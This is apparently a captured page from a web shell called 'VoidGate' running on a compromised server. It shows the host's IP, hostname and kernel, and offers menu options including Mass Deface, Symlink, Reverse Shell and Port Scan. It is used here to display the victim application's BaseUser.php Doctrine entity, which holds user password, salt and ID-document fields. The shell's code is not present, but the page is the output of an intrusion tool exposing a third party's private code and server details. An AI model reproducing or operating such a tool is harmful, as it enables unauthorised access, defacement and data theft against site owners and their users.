ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Entity
/
Viewing: BaseUser.php
<?php namespace AppBundle\Entity; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as JMS; use JMS\Serializer\Annotation as Serializer; use Symfony\Component\Security\Core\User\UserInterface; /** * BaseUser * * @ORM\Table(name="user") * @ORM\InheritanceType("SINGLE_TABLE") * @ORM\DiscriminatorColumn(name="type", type="string") * @ORM\DiscriminatorMap({"customer"="Customer", "staff"="Staff"}) * @ORM\Entity(repositoryClass="AppBundle\Repository\BaseUserRepository") */ abstract class BaseUser implements UserInterface { /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS", "AGENCY_DETAILS"}) */ private $id; /** * @var string * * @ORM\Column(name="username", type="string", length=255, unique=true) * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS", "AGENCY_DETAILS"}) */ private $username; /** * @var string * * @ORM\Column(name="firstName", type="string", length=255, nullable=true) * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $firstName; /** * @var string * * @ORM\Column(name="lastName", type="string", length=255, nullable=true) * @Serializer\Groups({"LIST","CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $lastName; /** * @var string * * @ORM\Column(name="idDocType", type="string", length=255, nullable=true) * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS"})* */ private $idDocType; /** * @var string * * @ORM\Column(name="idDocNumber", type="integer", nullable=true) * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS"})* */ private $idDocNumber; /** * @var string * * @ORM\Column(name="picture", type="blob", nullable=true) * @Serializer\Groups({"CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $picture; /** * @var string * * @ORM\Column(name="email", type="string", length=255, unique=true) * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $email; /** * @var string * * @ORM\Column(name="password", type="string", length=255) */ private $password; private $plainPassword; /** * @var bool * * @ORM\Column(name="isActive", type="boolean") * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $isActive = true; /** * @var \DateTime * * @ORM\Column(name="createdAt", type="datetime") * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $createdAt; /** * @var \DateTime * * @ORM\Column(name="lastUpdate", type="datetime", nullable=true) * @Serializer\Groups({"CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $lastUpdate; /** * @var string * * @ORM\Column(name="salt", type="string", length=255, nullable=true) */ private $salt = null; /** * @ORM\Column(name="roles", type="array") * @JMS\Type("array<string>") * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS", "AGENCY_DETAILS"}) */ private $roles = array(); /** * @var \AppBundle\Entity\Address * * @ORM\OneToOne(targetEntity="AppBundle\Entity\Address", cascade="persist") * @ORM\JoinColumn(nullable=false) * @Serializer\Groups({"LIST", "CUSTOMER_DETAILS", "STAFF_DETAILS"}) */ private $address; public function __construct() { $this->createdAt= (new \DateTime()); $roles = new \Doctrine\Common\Collections\ArrayCollection(); } /** * Get id * * @return int */ public function getId() { return $this->id; } /** * Set username * * @param string $username * * @return BaseUser */ public function setUsername($username) { $this->username = $username; return $this; } /** * Get username * * @return string */ public function getUsername() { return $this->username; } /** * Set firstName * * @param string $firstName * * @return BaseUser */ public function setFirstName($firstName) { $this->firstName = $firstName; return $this; } /** * Get firstName * * @return string */ public function getFirstName() { return $this->firstName; } /** * Set lastName * * @param string $lastName * * @return BaseUser */ public function setLastName($lastName) { $this->lastName = $lastName; return $this; } /** * Get lastName * * @return string */ public function getLastName() { return $this->lastName; } /** * Set picture * * @param string $picture * * @return BaseUser */ public function setPicture($picture) { $this->picture = $picture; return $this; } /** * Get picture * * @return string */ public function getPicture() { return $this->picture; } /** * Set email * * @param string $email * * @return BaseUser */ public function setEmail($email) { $this->email = $email; return $this; } /** * Get email * * @return string */ public function getEmail() { return $this->email; } /** * Set password * * @param string $password * * @return BaseUser */ public function setPassword($password) { $this->password = $password; return $this; } /** * Get password * * @return string */ public function getPassword() { return $this->password; } /** * Set isActive * * @param boolean $isActive * * @return BaseUser */ public function setIsActive($isActive) { $this->isActive = $isActive; return $this; } /** * Get isActive * * @return bool */ public function getIsActive() { return $this->isActive; } /** * Set createAt * * @param \DateTime $createAt * * @return BaseUser */ public function setCreateAt($createAt) { $this->createAt = $createAt; return $this; } /** * Get createAt * * @return \DateTime */ public function getCreateAt() { return $this->createAt; } /** * Set lastUpdate * * @param \DateTime $lastUpdate * * @return BaseUser */ public function setLastUpdate($lastUpdate) { $this->lastUpdate = $lastUpdate; return $this; } /** * Get lastUpdate * * @return \DateTime */ public function getLastUpdate() { return $this->lastUpdate; } /** * Set roles * * @param array $roles * * @return BaseUser */ public function setRoles($roles) { $this->roles = $roles; return $this; } /** * Get roles * * @return \Doctrine\Common\Collections\ArrayCollection() */ public function getRoles() { return $this->roles; } /** * Set address * * @param \AppBundle\Entity\Address $address * * @return BaseUser */ public function setAddress(\AppBundle\Entity\Address $address) { $this->address = $address; return $this; } /** * Get address * * @return \AppBundle\Entity\Address */ public function getAddress() { return $this->address; } /** * Set plainPassword * * @param string $plainPassword * * @return Customer */ public function setPlainPassword($plainPassword) { $this->plainPassword = $plainPassword; return $this; } /** * Get plainPassword * * @return string */ public function getPlainPassword() { return $this->plainPassword; } /** * Set salt * * @param string $salt * * @return BaseUser */ public function setSalt($salt) { $this->salt = $salt; return $this; } /** * Get salt * * @return string */ public function getSalt() { return $this->salt; } public function eraseCredentials() { // Suppression des données sensibles $this->plainPassword = null; } public function isEqualTo(UserInterface $user) { if (!$user instanceof BaseUser) { return false; } if ($this->password !== $user->getPassword()) { return false; } if ($this->salt !== $user->getSalt()) { return false; } if ($this->username !== $user->getUsername()) { return false; } return true; } /** * Set idDocType * * @param string $idDocType * * @return BaseUser */ public function setIdDocType($idDocType) { $this->idDocType = $idDocType; return $this; } /** * Get idDocType * * @return string */ public function getIdDocType() { return $this->idDocType; } /** * Set idDocNumber * * @param integer $idDocNumber * * @return BaseUser */ public function setIdDocNumber($idDocNumber) { $this->idDocNumber = $idDocNumber; return $this; } /** * Get idDocNumber * * @return integer */ public function getIdDocNumber() { return $this->idDocNumber; } /** * Set createdAt * * @param \DateTime $createdAt * * @return BaseUser */ public function setCreatedAt($createdAt) { $this->createdAt = $createdAt; return $this; } /** * Get createdAt * * @return \DateTime */ public function getCreatedAt() { return $this->createdAt; } }
Coded With 💗 by
0x6ick